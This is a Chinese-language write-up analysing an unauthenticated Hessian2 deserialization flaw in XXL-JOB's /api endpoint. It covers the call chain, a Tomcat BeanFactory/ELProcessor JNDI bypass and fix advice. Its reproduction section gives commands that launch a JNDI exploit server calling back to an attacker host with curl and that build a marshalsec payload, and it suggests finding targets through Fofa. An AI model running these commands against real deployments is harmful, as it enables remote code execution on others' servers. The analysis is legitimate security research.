xxl-job api未授权Hessian2反序列化
字数 1035 2025-08-20 18:18:23

XXL-JOB API未授权Hessian2反序列化漏洞分析

漏洞概述

XXL-JOB是一个分布式任务调度平台,在2.0.2及以下版本中,JobApiController#api接口存在未授权访问漏洞,同时该接口使用Hessian2反序列化处理请求数据,导致攻击者可以构造恶意序列化数据实现远程代码执行。

影响版本

XXL-JOB < 2.0.2

漏洞分析

未授权访问

在低版本XXL-JOB中,JobApiController#api接口使用了@PermessionLimit(limit=false)注解,这意味着访问该接口不需要任何鉴权:

@PermessionLimit(limit=false)
public ReturnT<String> api(HttpServletRequest request, @RequestBody(required = false) String data) {
    // ...
}

Hessian2反序列化链

请求处理流程如下:

  1. 请求到达JobApiController#api接口
  2. 调用invokeAdminService处理请求数据
  3. 进入XxlJobDynamicScheduler.invokeAdminService
  4. 最终到达ServletServerHandler.handle方法
  5. 调用parseRequest处理request对象
  6. 通过readBytes读取请求数据
  7. 使用Hessian2反序列化请求数据(requestBytes)

JNDI注入绕过

在高版本JDK中,JNDI注入受到限制(限制远程类加载),表现为RMI/LDAP服务收到请求但HTTP服务无响应。绕过思路:

  1. 在CLASSPATH中寻找工厂类
  2. 对引用的Reference属性添加危险方法或属性
  3. 这些危险方法也需要存在于CLASSPATH中

XXL-JOB基于Spring框架,底层使用Tomcat服务器,可以利用Tomcat中的org.apache.naming.factory.BeanFactory类,结合javax.el.ELProcessor执行任意代码。

漏洞复现

环境准备

  1. XXL-JOB 2.0.2
  2. JDK 8u191
  3. Linux环境

利用工具

使用JNDI-Injection-Exploit工具生成payload:

# 启动JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl vps:8817"

# 生成Hessian2 payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor [rmi服务] > ~/Desktop/test13.ser

指纹识别

在Fofa等搜索引擎上寻找XXL-JOB实例,访问/api接口会返回特定错误信息。

修复建议

  1. 升级XXL-JOB到最新版本
  2. /api接口添加访问控制
  3. 使用白名单限制可访问IP
  4. 升级JDK版本并配置安全参数

参考链接

  1. JNDI注入利用研究
  2. JNDI-Injection-Exploit工具
  3. XXL-JOB GitHub仓库
XXL-JOB API未授权Hessian2反序列化漏洞分析 漏洞概述 XXL-JOB是一个分布式任务调度平台,在2.0.2及以下版本中,JobApiController#api接口存在未授权访问漏洞,同时该接口使用Hessian2反序列化处理请求数据,导致攻击者可以构造恶意序列化数据实现远程代码执行。 影响版本 XXL-JOB < 2.0.2 漏洞分析 未授权访问 在低版本XXL-JOB中, JobApiController#api 接口使用了 @PermessionLimit(limit=false) 注解,这意味着访问该接口不需要任何鉴权: Hessian2反序列化链 请求处理流程如下: 请求到达 JobApiController#api 接口 调用 invokeAdminService 处理请求数据 进入 XxlJobDynamicScheduler.invokeAdminService 最终到达 ServletServerHandler.handle 方法 调用 parseRequest 处理request对象 通过 readBytes 读取请求数据 使用Hessian2反序列化请求数据( requestBytes ) JNDI注入绕过 在高版本JDK中,JNDI注入受到限制(限制远程类加载),表现为RMI/LDAP服务收到请求但HTTP服务无响应。绕过思路: 在CLASSPATH中寻找工厂类 对引用的Reference属性添加危险方法或属性 这些危险方法也需要存在于CLASSPATH中 XXL-JOB基于Spring框架,底层使用Tomcat服务器,可以利用Tomcat中的 org.apache.naming.factory.BeanFactory 类,结合 javax.el.ELProcessor 执行任意代码。 漏洞复现 环境准备 XXL-JOB 2.0.2 JDK 8u191 Linux环境 利用工具 使用 JNDI-Injection-Exploit 工具生成payload: 指纹识别 在Fofa等搜索引擎上寻找XXL-JOB实例,访问 /api 接口会返回特定错误信息。 修复建议 升级XXL-JOB到最新版本 对 /api 接口添加访问控制 使用白名单限制可访问IP 升级JDK版本并配置安全参数 参考链接 JNDI注入利用研究 JNDI-Injection-Exploit工具 XXL-JOB GitHub仓库